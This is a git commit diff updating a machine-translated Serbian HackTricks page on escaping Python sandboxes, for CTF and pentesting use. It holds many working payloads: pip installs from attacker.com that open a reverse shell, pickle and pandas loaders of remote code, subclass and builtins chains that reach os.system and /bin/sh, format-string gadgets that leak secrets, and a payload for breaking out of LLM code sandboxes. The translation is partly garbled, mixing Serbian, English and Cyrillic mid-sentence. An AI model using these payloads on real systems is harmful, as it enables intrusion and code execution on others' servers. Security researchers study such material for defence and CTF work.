Translated ['', 'src/windows-hardening/active-directory-methodology/READ

2025-10-10 18:36:50 +00:00 · 2025-08-28 12:44:42 +00:00 · 2025-08-28 12:44:42 +00:00 · 53be02f8a3
commit 53be02f8a3
parent 188157ae4c
6 changed files with 425 additions and 446 deletions
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -2,11 +2,11 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Ovo su neke tehnike za bypass Python sandboxes i izvršavanje proizvoljnih komandi.
+Ovo su neki trikovi za zaobilaženje python sandbox zaštita i izvršavanje proizvoljnih komandi.

 ## Command Execution Libraries

-Prva stvar koju treba da znate je da li možete direktno da izvršite kod koristeći neku već importovanu biblioteku, ili da li možete da importujete neku od ovih biblioteka:
+Prva stvar koju treba da znate je da li možete direktno izvršiti kod pomoću neke već importovane biblioteke, ili da li možete importovati bilo koju od ovih biblioteka:
 ```python
 os.system("ls")
 os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
 execfile('/usr/lib/python2.7/os.py')
 system('ls')
 ```
-Zapamtite da _**open**_ i _**read**_ funkcije mogu biti korisne za **čitanje fajlova** unutar python sandbox i za **pisanje nekog koda** koji biste mogli **izvršiti** da biste **zaobišli** sandbox.
+Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.

-> [!CAUTION] > **Python2 input()** funkcija dozvoljava izvršavanje python koda pre nego što program padne.
+> [!CAUTION] > **Python2 input()** funkcija dozvoljava izvršavanje python koda pre nego što se program sruši.

-Python pokušava da **prvo učita biblioteke iz trenutnog direktorijuma** (sledeća komanda će odštampati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'`
+Python pokušava prvo da **učita biblioteke iz trenutnog direktorijuma** (sledeća komanda će ispisati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

-## Bypass pickle sandbox with the default installed python packages
+## Zaobiđite pickle sandbox koristeći podrazumevane instalirane python pakete

-### Podrazumevani paketi
+### Default packages

-Možete pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
+Možete pronaći **listu predinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
 Imajte na umu da iz pickle-a možete naterati python env da **import arbitrary libraries** instalirane u sistemu.\
-Na primer, sledeći pickle, kada se učita, će importovati pip biblioteku da je iskoristi:
+For example, the following pickle, when loaded, is going to import the pip library to use it:
 ```python
 #Note that here we are importing the pip library so the pickle is created correctly
 #however, the victim doesn't even need to have the library installed to execute it
@ -68,28 +68,28 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
 ```
 Za više informacija o tome kako pickle radi, pogledajte ovo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)

-### Pip package
+### Pip paket

-Trik podelio **@isHaacK**
+Trik koji je podelio **@isHaacK**

 Ako imate pristup `pip` ili `pip.main()` možete instalirati proizvoljan paket i dobiti reverse shell pozivanjem:
 ```bash
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 ```
-Možete preuzeti paket za kreiranje reverse shell ovde. Imajte na umu da pre upotrebe treba da ga **dekompresujete, izmenite `setup.py`, i unesete svoju IP adresu za reverse shell**:
+Možete preuzeti paket za kreiranje reverse shell-a ovde. Imajte na umu da pre upotrebe treba da ga **dekompresujete, izmenite `setup.py` i unesete vašu IP adresu za reverse shell**:

 {{#file}}
 Reverse.tar (1).gz
 {{#endfile}}

 > [!TIP]
-> Ovaj paket se zove `Reverse`. Međutim, on je posebno napravljen tako da kada izađete iz reverse shell ostatak instalacije neće uspeti, tako da vi **nećete ostaviti nijedan dodatni python package instaliran na serveru** kada odete.
+> Ovaj paket se zove `Reverse`. Međutim, on je posebno dizajniran tako da kada izađete iz reverse shell-a ostatak instalacije neće uspeti, pa tako nećete ostaviti nijedan dodatni python package instaliran na serveru kada odete.

 ## Eval-ing python code

 > [!WARNING]
-> Imajte na umu da exec dozvoljava multiline strings i ";", ali eval ne (pogledajte walrus operator)
+> Imajte na umu da exec dozvoljava multiline strings i ";", ali eval ne (proverite walrus operator)

 Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **bypass** ograničenje:
 ```python
@ -126,9 +126,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
 # Like:
 df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
 ```
-Pogledajte i realan primer bekstva iz sandboxovanog evaluatora u PDF generatorima:
+Takođe pogledajte realan primer sandboxed evaluator escape-a u PDF generatorima:

- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Iskorišćava rl_safe_eval da pristupi function.__globals__ i os.system preko evaluiranih atributa (na primer, boje fonta) i vraća validnu vrednost kako bi renderovanje ostalo stabilno.
+- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Zloupotrebljava rl_safe_eval da dođe do function.__globals__ i os.system iz evaluiranih atributa (na primer, boja fonta) i vraća validnu vrednost kako bi renderovanje ostalo stabilno.

 {{#ref}}
 reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
 ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
 ```
-## Zaobilaženje zaštita putem kodiranja (UTF-7)
+## Zaobilaženje zaštita kroz enkodiranja (UTF-7)

-U [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandbox okruženja:
+U [**ovom writeupu**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandbox-a:
 ```python
 assert b"+AAo-".decode("utf_7") == "\n"

@ -160,9 +160,9 @@ Takođe je moguće zaobići ga koristeći druga kodiranja, npr. `raw_unicode_esc

 ## Izvršavanje u Pythonu bez poziva

-Ako se nalazite unutar python jail-a koji **ne dozvoljava pozive**, i dalje postoje načini da **izvršite proizvoljne funkcije, kod** i **komande**.
+Ako se nalazite unutar Python jail-a koji **ne dozvoljava da pravite pozive**, i dalje postoje načini da **izvršite proizvoljne funkcije, code** i **commands**.

-### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
+### RCE sa [decorators](https://docs.python.org/3/glossary.html#term-decorator)
 ```python
 # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -186,11 +186,11 @@ class _:pass
 ```
 ### RCE creating objects and overloading

-Ako možete **declare a class** i **create an object** te klase, možete **write/overwrite different methods** koje se mogu **triggered** **without** **needing to call them directly**.
+Ako možete **declare a class** i **create an object** te klase, možete **write/overwrite different methods** koje se mogu **triggered** bez potrebe da ih pozivate direktno.

 #### RCE with custom classes

-Možete izmeniti neke **class methods** (_by overwriting existing class methods or creating a new class_) da bi one **execute arbitrary code** kada su **triggered** bez direktnog pozivanja.
+Možete izmeniti neke **class methods** (_by overwriting existing class methods or creating a new class_) tako da prilikom **triggered** one **execute arbitrary code** bez direktnog poziva.
 ```python
 # This class has 3 different ways to trigger RCE without directly calling any function
 class RCE:
@ -240,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
 __ior__ (k |= 'import os; os.system("sh")')
 __ixor__ (k ^= 'import os; os.system("sh")')
 ```
-#### Kreiranje objekata sa [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
+#### Kreiranje objekata pomoću [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)

-Ključna stvar koju nam metaclasses omogućavaju je da **napravimo instancu klase, bez direktnog pozivanja konstruktora**, tako što kreiramo novu klasu koja ima ciljnu klasu kao metaclass.
+Ključna stvar koju metaclasses omogućavaju je **napraviti instancu klase, bez pozivanja konstruktora** direktno, kreiranjem nove klase koja koristi ciljnu klasu kao metaclass.
 ```python
 # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 # This will define the members of the "subclass"
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']

 ## You can also use the tricks from the previous section to get RCE with this object
 ```
-#### Kreiranje objekata pomoću exceptions
+#### Kreiranje objekata sa exceptions

-Kada **exception se pokrene**, objekat klase **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
+Kada se **exception** pokrene, objekat **Exception** se **kreira** bez potrebe да директно позивате конструктор (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
 ```python
 class RCE(Exception):
 def __init__(self):
@ -301,7 +301,7 @@ __iadd__ = eval
 __builtins__.__import__ = X
 {}[1337]
 ```
-### Pročitaj fajl sa builtins help & license
+### Pročitaj fajl sa builtins help-om i licencom
 ```python
 __builtins__.__dict__["license"]._Printer__filenames=["flag"]
 a = __builtins__.help
@ -310,22 +310,22 @@ a.__class__.__exit__ = lambda self, *args: None
 with (a as b):
 pass
 ```
-## Builtins
+## Ugrađene funkcije

 - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)

-Ako možete pristupiti objektu **`__builtins__`**, možete importovati biblioteke (imajte na umu da ovde možete takođe koristiti i druge string reprezentacije prikazane u poslednjem odeljku):
+Ako možete pristupiti objektu **`__builtins__`**, možete importovati biblioteke (imajte na umu da ovde takođe možete koristiti druge string reprezentacije prikazane u poslednjem odeljku):
 ```python
 __builtins__.__import__("os").system("ls")
 __builtins__.__dict__['__import__']("os").system("ls")
 ```
-### Nema `__builtins__`
+### Bez Builtins

-Kada nemaš `__builtins__` nećeš moći importovati ništa niti čak čitati ili pisati fajlove, pošto **sve globalne funkcije** (kao `open`, `import`, `print`...) **nisu učitane**.\
-Međutim, **po defaultu python učitava mnogo modula u memoriju**. Ovi moduli mogu delovati benigno, ali neki od njih su **takođe importuju opasne** funkcionalnosti unutra kojih se može pristupiti da bi se dobilo čak i **proizvoljno izvršavanje koda**.
+Kada nemaš `__builtins__` nećeš moći da importuješ bilo šta niti čak da čitaš ili pišeš fajlove jer **sve globalne funkcije** (kao `open`, `import`, `print`...) **nisu učitane**.\  
+Međutim, **po defaultu python učitava mnogo modula u memoriju**. Ti moduli mogu delovati bezopasno, ali neki od njih takođe u sebi importuju opasne funkcionalnosti kojima se može pristupiti da bi se čak dobilo **arbitrary code execution**.

-U narednim primerima možeš videti kako da **zloupotrebiš** neke od ovih "**benignih**" modula učitanih da bi se **pristupilo** **opasnim** **funkcionalnostima** unutar njih.
+U sledećim primerima možete videti kako se može **iskoristiti** neki od ovih "**bezopasnih**" modula koji su učitani da bi se **pristupilo** **opasnim** **funkcionalnostima** unutar njih.

 **Python2**
 ```python
@ -383,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
 # There are lots of other payloads that can be abused to execute commands
 # See them below
 ```
-## Globalne i lokalne
+## Globals and locals

-Provera **`globals`** i **`locals`** je dobar način da saznate čemu imate pristup.
+Provera **`globals`** i **`locals`** je dobar način da proverite čemu možete pristupiti.
 ```python
 >>> globals()
 {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,15 +409,15 @@ class_obj.__init__.__globals__
 [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
 [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
 ```
-[**Below there is a bigger function**](#recursive-search-of-builtins-globals) da pronađe desetine/**stotine** **mesta** gde možete pronaći **globals**.
+[**Below there is a bigger function**](#recursive-search-of-builtins-globals) da pronađete desetine/**stotine** **mesta** gde možete pronaći **globals**.

 ## Discover Arbitrary Execution

-Ovde želim objasniti kako lako otkriti **više opasnih funkcionalnosti koje su učitane** i predložiti pouzdanije exploits.
+Ovde želim da objasnim kako lako otkriti **više opasnih funkcionalnosti koje su učitane** i predložiti pouzdanije exploits.

 #### Accessing subclasses with bypasses

-Jedan od najosetljivijih delova ove tehnike je mogućnost da se **access the base subclasses**. U prethodnim primerima ovo je urađeno koristeći `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**:
+Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupa base subclasses**. U prethodnim primerima ovo je urađeno korišćenjem `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**:
 ```python
 #You can access the base from mostly anywhere (in regular conditions)
 "".__class__.__base__.__subclasses__()
@ -447,16 +447,16 @@ defined_func.__class__.__base__.__subclasses__()
 ```
 ### Pronalaženje opasnih biblioteka koje su učitane

-Na primer, znajući da sa bibliotekom **`sys`** moguće je **import arbitrary libraries**, možete pretražiti sve **učitane module koji su u sebi importovali `sys`**:
+Na primer, znajući da uz biblioteku **`sys`** moguće je **uvoziti proizvoljne biblioteke**, možete pretražiti sve **učitane module koji su u njima importovali `sys`**:
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
 ```
-Ima ih mnogo, i **treba nam samo jedan** da izvršimo komande:
+Ima ih mnogo, i **treba nam samo jedan** da izvršava komande:
 ```python
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
 ```
-Isto možemo uraditi i sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**:
+Možemo isto uraditi i sa **other libraries** za koje znamo da se mogu koristiti za **execute commands**:
 ```python
 #os
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -491,7 +491,7 @@ Isto možemo uraditi i sa **drugim bibliotekama** za koje znamo da se mogu koris
 #pdb
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
 ```
-Štaviše, mogli bismo čak i da potražimo koji moduli učitavaju maliciozne biblioteke:
+Štaviše, mogli bismo čak i da pretražimo koji moduli učitavaju maliciozne biblioteke:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 for b in bad_libraries_names:
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
 pdb:
 """
 ```
-Štaviše, ako mislite da **ostale biblioteke** mogu da **pozivaju funkcije za izvršavanje komandi**, možemo takođe **filtrirati po imenima funkcija** unutar mogućih biblioteka:
+Štaviše, ako mislite da **druge biblioteke** mogu da **pozovu funkcije za izvršavanje komandi**, možemo takođe **filtrirati po imenima funkcija** unutar potencijalnih biblioteka:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -546,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
 ## Rekurzivna pretraga Builtins, Globals...

 > [!WARNING]
-> Ovo je prosto **sjajno**. Ako tražite **objekat kao globals, builtins, open ili bilo šta drugo** jednostavno koristite ovaj script da **rekurzivno pronađete mesta gde možete naći taj objekat.**
+> Ovo je prosto **sjajno**. Ako ste **u potrazi za objektom poput globals, builtins, open ili bilo čega** samo koristite ovaj skript da **rekurzivno pronađete mesta gde možete pronaći taj objekat.**
 ```python
 import os, sys # Import these to find more gadgets

@ -671,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-

 ## Python Format String

-Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama pythona.** Možete koristiti prethodne primere da, na primer, pristupite globals ili builtins.
+Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **python internal information.** Možete koristiti prethodne primere da, na primer, pristupite globals ili builtins.
 ```python
 # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
 CONFIG = {
@ -691,11 +691,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Obratite pažnju kako možete **pristupiti atributima** na uobičajen način pomoću **tačke**, na primer `people_obj.__init__`, i **elementu dict-a** pomoću **uglaste zagrade** bez navodnika `__globals__[CONFIG]`
+Primetite kako možete **pristupiti atributima** na uobičajen način koristeći **tačku** kao `people_obj.__init__` i **dict element** sa **zagradama** bez navodnika `__globals__[CONFIG]`

-Takođe obratite pažnju da možete koristiti `.__dict__` da nabrojite elemente objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
+Takođe imajte u vidu da možete koristiti `.__dict__` za nabrajanje elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

-Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
+Još neke zanimljive karakteristike format strings su mogućnost izvršavanja funkcija `str`, `repr` i `ascii` nad označenim objektom dodavanjem `!s`, `!r`, `!a` respektivno:
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
@ -714,7 +714,7 @@ return 'HAL 9000'
 **Više primera** o **format** **string** primerima možete pronaći na [**https://pyformat.info/**](https://pyformat.info)

 > [!CAUTION]
-> Proverite takođe sledeću stranicu za gadgets koji će r**ead sensitive information from Python internal objects**:
+> Proverite i sledeću stranicu za gadgets koji će r**čitati osetljive informacije iz Python internih objekata**:


 {{#ref}}
@ -739,20 +739,20 @@ str(x) # Out: clueless
 ```
 ### LLM Jails bypass

-From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
+Iz [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`

 ### From format to RCE loading libraries

-According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
+According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) moguće je učitati proizvoljne biblioteke sa diska zloupotrebljavajući format string vulnerability u python.

-Kao podsetnik, svaki put kad se izvrši neka akcija u pythonu, neka funkcija se poziva. Na primer `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**.
+Kao podsetnik, svaki put kad se izvrši neka akcija u python neki funkcija se poziva. Na primer `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**.

-Više primera imaš u sekciji [**Python execution without calls**](#python-execution-without-calls).
+Više ovakvih primera imaš u sekciji [**Python execution without calls**](#python-execution-without-calls).

-A python format string vuln ne dozvoljava izvršavanje funkcija (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\
-Međutim, moguće je koristiti `[]`. Dakle, ako neka česta python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće ih je zloupotrebiti za dobijanje RCE.
+A python format string vuln ne dozvoljava izvršavanje funkcije (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\\
+Međutim, moguće je koristiti `[]`. Dakle, ako neka uobičajena python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće ih je zloupotrebiti da se dobije RCE.

-Tražeći gadget takve vrste u pythonu, writeup predlaže ovu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je našao ovaj [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
+Tražeći gadget poput ovog u python, writeup predlaže ovu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je pronašao ovaj [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
 ```python
 class LibraryLoader(object):
 def __init__(self, dlltype):
@ -774,20 +774,20 @@ return getattr(self, name)
 cdll = LibraryLoader(CDLL)
 pydll = LibraryLoader(PyDLL)
 ```
-Ovaj gadget omogućava da se **učita biblioteka sa diska**. Stoga je potrebno nekako **zapisati ili otpremiti biblioteku koja će se učitati**, ispravno kompajliranu za napadnuti server.
+Ovaj gadget omogućava da **učitate biblioteku sa diska**. Stoga je potrebno na neki način **zapisati ili otpremiti biblioteku koja će se učitati**, pravilno kompajliranu za napadnuti server.
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
-The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
+Izazov zapravo zloupotrebljava drugu ranjivost na serveru koja omogućava kreiranje proizvoljnih fajlova na disku servera.

 ## Analiza Python objekata

 > [!TIP]
 > Ako želite da **naučite** o **python bytecode** detaljno, pročitajte ovaj **sjajan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

-U nekim CTFs može vam biti dat naziv **custom function where the flag** i potrebno je videti **internals** te **function** da biste ga izvukli.
+U nekim CTF-ovima može vam biti dato ime **custom function where the flag** u kojoj se nalazi flag, i potrebno je da pogledate **internals** te **function** kako biste ga izvukli.

-Ovo je function koju treba analizirati:
+Ovo je funkcija koju treba pregledati:
 ```python
 def get_flag(some_input):
 var1=1
@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` i `func_globals` (isti) dobijaju globalno okruženje. U primeru možete videti neke importovane module, neke globalne promenljive i njihov sadržaj:
+`__globals__` and `func_globals` (isto) dohvataju globalno okruženje. U primeru možete videti neke importovane module, neke globalne promenljive i njihov sadržaj:
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -820,7 +820,7 @@ CustomClassObject.__class__.__init__.__globals__

 ### **Pristup kodu funkcije**

-**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da biste **dobili objekat koda** funkcije.
+**`__code__`** and `func_code`: Možete **pristupiti** ovom **atributu** funkcije da biste **dobili code object** funkcije.
 ```python
 # In our current example
 get_flag.__code__
@ -880,7 +880,7 @@ get_flag.__code__.co_freevars
 get_flag.__code__.co_code
 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
 ```
-### **Disasembliranje funkcije**
+### **Disasemblovanje funkcije**
 ```python
 import dis
 dis.dis(get_flag)
@ -908,7 +908,7 @@ dis.dis(get_flag)
 44 LOAD_CONST               0 (None)
 47 RETURN_VALUE
 ```
-Imajte na umu da **ako ne možete da importujete `dis` u python sandboxu** možete dobiti **bytecode** funkcije (`get_flag.func_code.co_code`) i **disassemble** je lokalno. Nećete videti sadržaj varijabli koje se učitavaju (`LOAD_CONST`) ali ih možete naslutiti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe govori offset varijable koja se učitava.
+Obratite pažnju da **ako ne možete да importujete `dis` у python sandbox** можете да добијете **bytecode** функције (`get_flag.func_code.co_code`) и **disassemble** га локално. Нећете видети садржај променљивих које се учитавају (`LOAD_CONST`), али их можете насетити из (`get_flag.func_code.co_consts`) зато што `LOAD_CONST` такође показује offset променљиве која се учитава.
 ```python
 dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 0 LOAD_CONST          1 (1)
@ -930,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 44 LOAD_CONST          0 (0)
 47 RETURN_VALUE
 ```
-## Compiling Python
